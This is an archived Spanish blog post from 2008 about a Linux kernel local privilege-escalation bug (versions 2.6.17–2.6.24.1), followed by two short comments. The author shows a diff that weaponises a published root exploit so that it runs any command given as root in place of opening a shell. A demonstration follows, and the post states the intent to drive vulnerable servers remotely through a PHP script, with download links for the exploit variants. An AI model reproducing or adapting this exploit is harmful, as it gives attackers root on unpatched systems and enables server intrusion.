Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "root exploit: Ejecutar comando como root" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.
root-exploit.diff
51a52 > char *_cmd; 55d55 182,183d181 < 185c183,184 < execl("/bin/bash", "bash", "-i", NULL); — > system(_cmd); > //execl("/bin/bash", "bash", "-i", NULL); 195a195 > _cmd = argv[1]; 202,205d201 221,223d216 241,243d233 258,259d247 269d256
La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.
Demostracion
username@machine:~$ ./root-exploit whoami
root
username@machine:~$
De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.
Descargas
Variacion del exploit
Exploit original 1
Exploit original 2
Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "root exploit: Ejecutar comando como root" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
octubre 13, 2008 a las 5:17 pm
Interesante 😉
diciembre 12, 2020 a las 4:45 am
It’s amazing to pay a quick visit this web page and reading the views
of all mates about this post, while I am also keen of getting knowledge.